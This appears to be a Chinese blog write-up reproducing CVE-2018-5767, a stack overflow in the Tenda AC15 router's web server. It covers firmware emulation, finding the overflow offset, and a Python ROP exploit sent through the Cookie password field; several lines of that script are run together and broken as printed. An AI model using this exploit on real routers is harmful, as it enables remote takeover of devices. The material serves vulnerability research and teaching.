前言

第一次尝试IOT固件模拟和漏洞复现,写篇文章记录一下。

实验环境

Linux版本:Ubuntu 18.04

qemu版本:qemu-arm version 2.11.1(Debian 1:2.11+dfsg-1ubuntu7.41)

IDA版本:IDA PRO 7.7

固件版本:Tenda cn Ac15_firmware:15.03.1.16

固件下载地址:Download Tenda AC15 Router Firmware 15.03.1.16 for OS Independent


以下是本篇文章正文内容

一、安装工具

(PS:如果是纯净Ubuntu 18.04,请先换源再进行安装工具)

binwalk:sudo apt-get install binwalk

qemu:sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*

pwntools: sudo pip install pwntools

二、固件仿真

提取固件和通过qemu运行httpd

binwalk -Me xxx.rar
cd xxx.extracted/squashfs-root
cp /usr/bin/qemu-arm-static .
sudo chroot . ./qemu-arm-static ./bin/httpd

出现启动界面,卡在了welcome to:

扔到IDA中分析原因,找到启动界面代码位置,发现有一个check_network检测,小于等于0就进入sleep。当R3小于等于0时就会一直sleep循环。

为了绕过这个判断,我们将MOV R3, R0用右键keypatch修改为MOV R3, #1

发现下边还有一个ConnectCfm,同样将MOV R3, R0修改为MOV R3, #1

保存文件,点击Edit,Patch Program,Apply patches to input file

将修改后的httpd文件覆盖原来的文件,chmod +777 httpd,重新用qemu启动

启动成功,但是获取的IP地址明显有问题

IDA中搜索查询字符串,找到sub_1A36C包含“httpd listen ip”

我们对着 sub_1A36C按x,查看交叉引用。发现前两个为ssl相关的,第三个是websAccept调用

回到sub_1A36C,我们发现v8的值就是ip,而v8是通过&s.sa_data[2]来决定的,我们去上边找一下&s.sa_data[2]在哪里被赋值了。

最后一次赋值在这里,通过a1的值决定,我们再找一下a1的来源

发现a1就是sub_28338调用时传的v8,v8是由g_lan_ip决定的

继续追踪g_lan_ip,发现ip来源于getIfIp这个函数,调用了外部函数__imp_getIfIp

通过百度查询到,libChipApi.so中的get_eth_name函数获取名为br0网卡的ip地址,传回程序。

因此,想让httpd监听到正确的ip地址,需要新建一个名为br0的网卡

sudo brctl addbr br0

sudo ifconfig br0 192.168.10.10 up

启动成功,获取到正确ip(要确保ip没有被占用),仿真成功。

三、漏洞点分析

查看CVE-2018-5767相关文章,得知溢出点在R7WebsSecurityHandler函数中,用IDA定位到漏洞关键点。else分支将password=后边的值一直到;放入了v33,但是没有进行长度的限制,导致栈溢出。

同时,为了保证程序可以执行到这里,我们要让请求的url正确,可使用/goform/xxx

为了方便调试,我们用调试端口启动

sudo chroot . ./qemu-arm-static -g 2333 ./bin/httpd

开另一个终端,用gdb remote调试

gdb-multiarch ./bin/httpd
target remote :2333

先来验证一下上述漏洞点,将Cookie的password设置为一个很长的字符串,然后查看寄存器状态

import requests
url = "http://192.168.10.10/goform/xxx"
cookie = {"Cookie":"password="+"A"*666}
requests.get(url=url, cookies=cookie)

程序果然崩溃,寄存器r3内地址的值为AAAA,显然是弹出的栈溢出字符。

通过bt指令,我们得知,在0x0002c5cc溢出后被调用执行,因此我们要绕过这个函数

回到IDA中,发现如果v42(也就是s)包含下边这些后缀时,会直接函数返回

因此,我们将payload末尾加上一个后缀即可,验证如下:

import requests
url = "http://192.168.10.10/goform/xxx"
cookie = {"Cookie":"password="+"abcd"*200+ ".png"}
requests.get(url=url, cookies=cookie)

我们用cycli指令得到偏移,算上后缀名.png,得到偏移量为448

四、漏洞利用

首先通过checksec查看保护,发现只开启了NX,所以我们可以用rop链getshell

我们正常执行,看一下程序是如何调用函数和布置参数的

思路为把system地址存进一个寄存器x,把/bin/sh传入r0,此时跳转到寄存器x执行system("/bin/sh")。但因为是32位程序,/bin/sh没有对齐4字节,我们不能直接将 /bin/sh直接传入r0当作参数

因此利用思路可以变为:

pop r3,pc        #把system地址放入r3

mov r0, sp ; blx r3        #把栈顶写入r0,跳转到r3

payload可写为:offset + gadget1 + system_addr + gadget2 + binsh

libc偏移我们可以通过call system得到libc_system_addr,减去ida中system地址,得到libc偏移为0xFF5D5000

网上大多数用system+binsh复现,这里用puts+字符串演示,效果相同。

运行攻击脚本,输出Hello成功

exp如下:

import struct
import requests
from pwn import *ip = "192.168.10.10"url = "http://{:s}/goform/exeCommand".format(ip)
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cookie': 'password="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaSKYEaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.gifbbbbzzzz"',
'Cache-Control': 'max-age=0'
}libc=0xFF5D5000_str = "Hello\x00"pop_r3_pc = p32(0x00018298+libc)#pop r3 pc
mov_r0_sp_blx_r3 = p32(0x00040cb8 + libc)# mov r0 sp; blx r3
print(0x00018298+libc)
puts = p32(0x035CD4+libc)
_str = _str.encode()# 'byte'
password = b"A" * 448+pop_r3_pc+puts+mov_r0_sp_blx_r3+_str+b".gif"
headers['Cookie']=b"password="+passwordtry:response = requests.get(url,headers=headers,timeout=1)
except:pass

多型号下可能产生的问题:

1.多型号的固件版本不同,libc函数地址可能会变化,会导致偏移不同。

2.高一些的固件版本可能会开启其他保护,可能会加入canary,导致常规ROP失效。

3.不同型号的跳转条件可能会不同,如对URL的判断以及等待周期等因素。

CVE-2018-5767 Tenda路由器栈溢出漏洞复现相关推荐

  1. 【从零复现CVE漏洞】Tenda 路由器栈溢出复现(CVE-2018-18708)

    1 漏洞概述 从搜索引擎中搜索一下CVE会有很多提供CVE索引的网站,我们简要的看一下这个CVE的描述. An issue was discovered on Tenda AC7 V15.03.06. ...

  2. vivotek栈溢出漏洞复现

    一.前言 近日公司进了一批摄像头,以前还没有做过这方面的研究所以找了一个vivotek 2017年的栈溢出漏洞拿来练练手. 二.固件仿真 虚拟机环境:Ubuntu 20.04 gdb版本:GNU gd ...

  3. CVE(2017-15715、2021-41773、2021-40438)漏洞复现

    仅用于学习参考,不要贪玩哦(*^▽^*) 目录 CVE-2017-15715 漏洞介绍 漏洞复现 CVE-2021-41773 漏洞介绍 漏洞复现 CVE-2021-40438 漏洞介绍 漏洞复现 一 ...

  4. 物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现

    https://www.rapid7.de/db/modules/exploit/linux/http/dlink_hedwig_cgi_bof 这个栈溢出的原因是由于cookie的值过长导致的栈溢出 ...

  5. Samsung-WLAN-AP路由器RCE漏洞复现

    简介: 三星-WLAN-AP-WEA453e 路由器存在远程命令执行. zoomeye搜索: app:"Samsung WLAN AP wea453e router" or tit ...

  6. java栈溢出漏洞cve,TP-Link WR841N 栈溢出漏洞(CVE-2020-8423)分析

    简介 前段时间 TP-LINK TL-WR841N 设备爆出了一个认证后的栈溢出漏洞,借机复现了一下这个栈溢出漏洞,其中有一些在漏洞利用上的小技巧在此和大家分享一下. 漏洞信息如下: 漏洞编号:CVE ...

  7. kali+php+缓冲区溢出,CVE-2018-18708:Tenda路由器缓冲区溢出漏洞分析

    CVE-2018-18708:Tenda路由器缓冲区溢出漏洞分析 摘要:本文通过对一个ARM路由器缓冲区溢出漏洞的分析,实践逆向数据流跟踪的思路与方法. 假设读者:了解ARM指令集基础知识.了解栈溢出 ...

  8. 栈溢出漏洞CVE-2020-8423复现

    TP-Link WR841N 栈溢出漏洞(CVE-2020-8423) 第一次搞iot相关,对mips的汇编还不是很熟,先熟悉一下搭环境,之后再去理解原理,这里记录一下环境搭建流程.虽然iot-vul ...

  9. 华为路由器远程命令执行漏洞复现(CVE-2017-17215)

    华为路由器远程命令执行漏洞复现(CVE-2017-17215) 漏洞内容 这个漏洞算是比较老的一种漏洞了,但是具有一定的学习价值. CheckPoint报告华为HG532路由器产品存在远程命令执行漏洞 ...

最新文章

  1. OpenAI最新论文:机器学习效率正在超越摩尔定律
  2. python列出文件夹最新的几个文件_Python列出一个文件夹及其子目录的所有文件
  3. Detective Book
  4. GitHub 基本常用知识解答2
  5. python 类的功能,字符串字节,嵌套等相关学习总结
  6. 1.4 Padding
  7. Redis的实现原理
  8. live2d_Live2D | CubismSdkForUnity4r.1简介(下)
  9. OnlyOffice在线部署
  10. 关于python中矩阵相乘需要注意的事情
  11. docker file镜像分层
  12. TableView图片闪动的问题
  13. mysql like 百分号_mysql语句中使用like后面的%(百分号)的问题
  14. 2021年中国冰雪旅游行业市场现状分析,“三足鼎立、两带崛起、全面开花”新格局形成「图」
  15. DCOS之Mesos-DNS介绍
  16. 聊天室之-----界面的问题用到的curses
  17. java并发编程 目录_Java并发编程实战的作品目录
  18. Web前端小白了解这些学习秘诀,你也能成为大神!
  19. Win10怎么禁止开机自动运行语音识别
  20. 苹果官方Apple Pay开发文档(中文版)

热门文章

  1. macbook上好用的软件
  2. Git入门教程之注册(一)
  3. 计算机网络(各章节精华版)
  4. CPU动态调频二:interactive governor
  5. P2P流媒体开源项目汇总与简述
  6. 基于p2p点播html5源码,毕业论文-基于HTML5的P2P流媒体传输系统的设计与实现.docx...
  7. 离散数学-图论知识总结(修改版)
  8. 剑门高级中学2021年高考成绩查询,剑门关高级中学2021年高中部入学条件是什么?...
  9. Web服务下载zip文件
  10. android桌面悬浮窗,Android桌面悬浮窗